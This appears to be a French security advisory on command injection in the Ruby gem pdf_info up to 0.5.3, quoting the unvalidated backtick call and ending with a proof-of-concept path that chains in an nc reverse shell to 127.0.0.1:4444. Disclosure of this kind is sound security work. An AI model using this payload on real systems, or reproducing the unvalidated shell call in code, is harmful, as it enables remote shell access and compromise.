
pdf_info <= 0.5.3 Injection de commandes système
Le gem Ruby pdf_info <= 0.5.3 est vulnérable à une injection de commandes OS lors de l'exécution d'une méthode sur un objet PDF::Info.
Un attaquant utilisant une charge utile spécialement conçue peut exécuter des commandes OS en utilisant le chaînage de commandes.
Lors de la création d'un nouvel objet PDF::Info, la méthode initialize est appelée
def initialize(pdf_path)
@pdf_path = pdf_path
end
Lors de l'initialisation de l'objet, aucune validation n'est effectuée et le chemin fourni par l'utilisateur est utilisé.
Nous pouvons créer un objet PDF::Info et renvoyer les métadonnées d'un PDF avec le code suivant.
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
Lorsque nous appelons la méthode metadata sur l'objet PDF::Info, un appel est fait à la méthode process_output avec l'argument passé étant la méthode command.
La méthode command utilise la variable de classe @pdf_info pour exécuter la commande pdfinfo sur le système en utilisant l'extrait de code suivant pour renvoyer la sortie de la commande.
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
Comme pour la méthode initialize, aucune validation n'est effectuée sur la variable @pdf_path. Cela permet d'utiliser le chaînage de commandes avec ; pour exécuter une commande arbitraire.
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
L'extrait de code ci-dessus exécutera un shell inverse vers 127.0.0.1 sur le port 4444
